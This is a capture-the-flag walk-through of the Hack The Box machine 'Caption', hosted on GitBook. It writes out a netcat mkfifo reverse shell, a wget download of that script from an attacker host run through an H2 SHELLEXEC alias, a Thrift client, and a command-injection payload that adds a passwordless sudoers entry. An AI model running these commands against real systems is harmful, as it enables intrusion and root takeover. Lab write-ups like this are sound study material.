> For the complete documentation index, see [llms.txt](https://cl4nd3st1ne.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cl4nd3st1ne.gitbook.io/write-ups/hack-the-box/machines/htb-season-6-caption-walk-through.md).

# HTB Season 6: Caption Walk-through

In my opinion, it provided rather straight-forward interest points which one would identify in the initial recon itself. The real challenge was understanding how to exploit the vulnerabilities, especially for privilege escalation. Here I have elaborated on my path and learning.

We always begin with an Nmap scan:

<figure><img src="/files/VQPhsczvcwWgw9eAQqgD" alt=""><figcaption></figcaption></figure>

First I checked the web server on port 80:

<figure><img src="/files/VGopu4M9BndvLLAa79a0" alt=""><figcaption><p>http://caption.htb</p></figcaption></figure>

I fuzzed this login with default credentials but none worked. Directory fuzzing revealed these directories:

<figure><img src="/files/6YJXfxY1ZMKmTOwIHAWd" alt=""><figcaption><p>http://caption.htb/FUZZ</p></figcaption></figure>

There are some interesting directories, but none accessible without login. The portal also seems like a custom implementation with no version numbers to research on. Even source code review didn’t give any leads.

Moving to the other web server which is running on 8080:

<figure><img src="/files/h6qeqGbE4KzKCJ6I3HwE" alt=""><figcaption><p>http://caption.htb:8080</p></figcaption></figure>

There is a GitBucket instance running here.

> GitBucket is an open-source Git web platform with features like repository viewing, support for plugins, timelines, issues, pull requests and wikis for projects. It even has LDAP integration for user and group management.

Fuzzing for endpoints:

<figure><img src="/files/wwcnmx8bAy0sOK5BQmd4" alt=""><figcaption><p>http://caption.htb:8080/FUZZ</p></figcaption></figure>

Lots of clutter here but there is an API endpoint accessible to us:

<figure><img src="/files/n23OBvZCqUYfuOBnT1H0" alt=""><figcaption></figcaption></figure>

Visiting the `rate_limit` endpoint just displays a message that rate limiting is not enabled. I decided to further fuzz the `/api/v3/` endpoint and found one useful result:

<figure><img src="/files/wE4bRLErQyNSOyaHoGEb" alt=""><figcaption></figcaption></figure>

So there is only one user, root, who is the administrator. `/api/v3/users/root`  displays this exact same content.

Searching about GitBucket took me to its [GitHub](https://github.com/gitbucket/gitbucket/tree/master). Here we will find that it runs on Java and the default login credentials are **root:root**. I was able to successfully login with these.

There were 2 repositories here, Logservice and Caption-Portal.

While checking the source files for these, one thing seemed very interesting:

<figure><img src="/files/OCzdLiI9Am0HDeeiXgVQ" alt=""><figcaption></figcaption></figure>

It shouts command injection, and I had the rights to edit this script to inject a shell but I was stumped on how I could possibly make the target machine pull my modified code. It was a shot in the dark since I had no idea if any such action was occurring on the system. Nevertheless, I tried and failed.

I decided to explore GitBucket further. Multiple features were available to us, but the one that stood out the most was under System Administration at the endpoint `/admin/dbviewer`:

<figure><img src="/files/pix3fvcj31GkoINGLRoj" alt=""><figcaption><p>Database Viewer</p></figcaption></figure>

It allowed us to view tables in the app’s database, and also provided an interface to run our own queries. While trying some usual SQL queries I received this error at one point -`org.h2.jdbc.JdbcSQLSyntaxErrorException`. On running this through ChatGPT it was revealed that this is an H2 Database.

> **H2 Database**is an open-source, lightweight, in-memory database commonly used for development, testing, or small-scale production.

With this info, I started enumerating more. First of all, we need the version of the database. The query `SELECT H2VERSION() AS version;` revealed the version as **H2 Database 1.4.199**. \
In the screenshot above we can see a few tables available to view. I browsed their content but didn’t find anything juicy worth stealing or editing.

The next thing to try is looking for exploits related to our instance of H2 Database. After some Googling, I found [this article](https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html) which seemed worth trying. It involves creating a Java function and then storing it as an alias. Afterwards, the alias can be called with our arguments.

I used the same `SHELLEXEC` alias and function given in the article. To obtain a reverse shell, uploading a file on the target seemed like the most efficient method. The following steps explain the process:

1. Start a listener with `nc -nvlp <PORT>` .\
   Next, create a bash script with the revshell payload: `echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <LISTENER IP> <LISTENER PORT>/tmp/f" > rev.sh.`\
   Now serve this file on a python server.
2. After creating the alias, use `CALL SHELLEXEC('id');` to ensure that the alias is working as expected.
3. Run `CALL SHELLEXEC('wget -O /tmp/rev.sh http://<IP>:<PORT>/rev.sh')` to upload the script to the target. You can check the python server logs on the terminal to verify that the script was picked successfully.
4. Since we will be executing the script, we need it to have the relevant file permissions. Running `CALL SHELLEXEC('chmod +x /tmp/rev.sh')` will enable this.
5. And finally, `CALL SHELLEXEC('/tmp/rev.sh')` will give us the reverse connection on our listener.

This will drop us into the machine as margo. The user flag can be found in her home directory.\
Onwards to root!

<mark style="background-color:$info;">EDIT: HTB fixed this RCE route :(</mark>

***

Earlier itself I had pointed that the following code in `server.go` seemed interesting:

<figure><img src="/files/lm5kBPljatGrbOyl3wiy" alt=""><figcaption></figcaption></figure>

Moreover, on viewing the processes running on the system, we see yet another indication:

<figure><img src="/files/BivG1EF9lpNKqLUO8sJP" alt=""><figcaption></figcaption></figure>

Since we have admin access to this GitBucket instance, and we know that root is running this `server.go` file, I felt that I can inject a reverse shell in this `exec` command and when the local machine pulls this code, I’ll get a connection.

However, seeing the running processes and cronjobs, I couldn’t see any proof of code being pulled from this repository. Also, we can see that the script starts a Thrift server on port 9090 which is only accessible internally. I started conversing with ChatGPT to understand what else could be done. After understanding the code of `server.go` and receiving advice from the helpful HTB community, I came to the realisation that I need my own client to interact with the thrift server. ChatGPT provided the requirements to set it up:

1. Create a virtual environment and activate it \
   `python3 -m venv venv` \
   `source venv/bin/activate`
2. Install the Thrift python package\
   `pip install thrift`
3. Install the Thrift Compiler (this is needed to generate the gen-py files)\
   `sudo apt-get install thrift-compiler`
4. Next, we can start generating files for the client script. We need to make a thrift file to define the service we wish to interact with:

   ```
   namespace go log_service
   namespace py log_service

   service LogService {
     string ReadLogFile(1:string filePath)
   }
   ```

   \
   This file needs to be saved with the extension `.thrift`. For example, `log_service.thrift`
5. Now run the following command to generate the service python files:\
   `thrift — gen py log_service.thrift`

Finally, here’s `client.py` :

{% code overflow="wrap" %}

```
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
import sys
sys.path.append('./HTB/caption/gen-py')
# Import the generated code
from log_service import LogService

def main():
    # Create a socket to the Thrift server
    transport = TSocket.TSocket('127.0.0.1', 9090)

    # Use a buffered transport for better performance
    transport = TTransport.TBufferedTransport(transport)

    # Use the binary protocol (consistent with Go server)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)

    # Create a client to use the protocol encoder
    client = LogService.Client(protocol)

    # Open the connection
    transport.open()

    # Call the ReadLogFile method on the server
    file_path = "/home/margo/pwn.log"
    result = client.ReadLogFile(file_path)

    # Print the result
    print(f"Server response: {result}")

    # Close the connection
    transport.close()

if __name__ == "__main__":
    main()
```

{% endcode %}

Now comes the part where we need to design our payload. The `server.go` file is checking the IP and User-agent values against a regex, and generating the timestamp on its own. User-agent is the most favourable value. On the system in margo’s home directory, I created a file `pwn.log`. This is the payload I used:

`127.0.0.1, "user-agent":"Mozilla'; echo 'margo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers;#"`

Explanation:

* ``userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)`` :This part of the server file matches the value of the user-agent field, enclosed in double quotes. Hence, the user-agent string had to be specified in the payload, also in double-quotes.
* `logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s >> output.log", ip, userAgent, timestamp)`: This makes the value of `logs` variable `echo 'IP Address: <IP>, User-Agent: <user-agent>, Timestamp: <timestamp>' >> output.log`
* Inserting the above payload, the command that is ultimately being executed on the system is:\
  `/bin/sh -c "echo 'IP Address: 127.0.0.1, User-Agent: Mozilla'; echo 'margo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers;"`\
  This is because there is a comment (#) at the end, which negates the `Timestamp: <timestamp>' >> output.log` part.

After successfully executing `client.py` through proxychains, I was able to get sudo without password, and ultimately, root access!

<figure><img src="/files/uUajQaFBzhbYW45PudZB" alt=""><figcaption></figcaption></figure>

<mark style="color:$info;">\[Originally Published on Nov 5, 2024]</mark>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://cl4nd3st1ne.gitbook.io/write-ups/hack-the-box/machines/htb-season-6-caption-walk-through.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
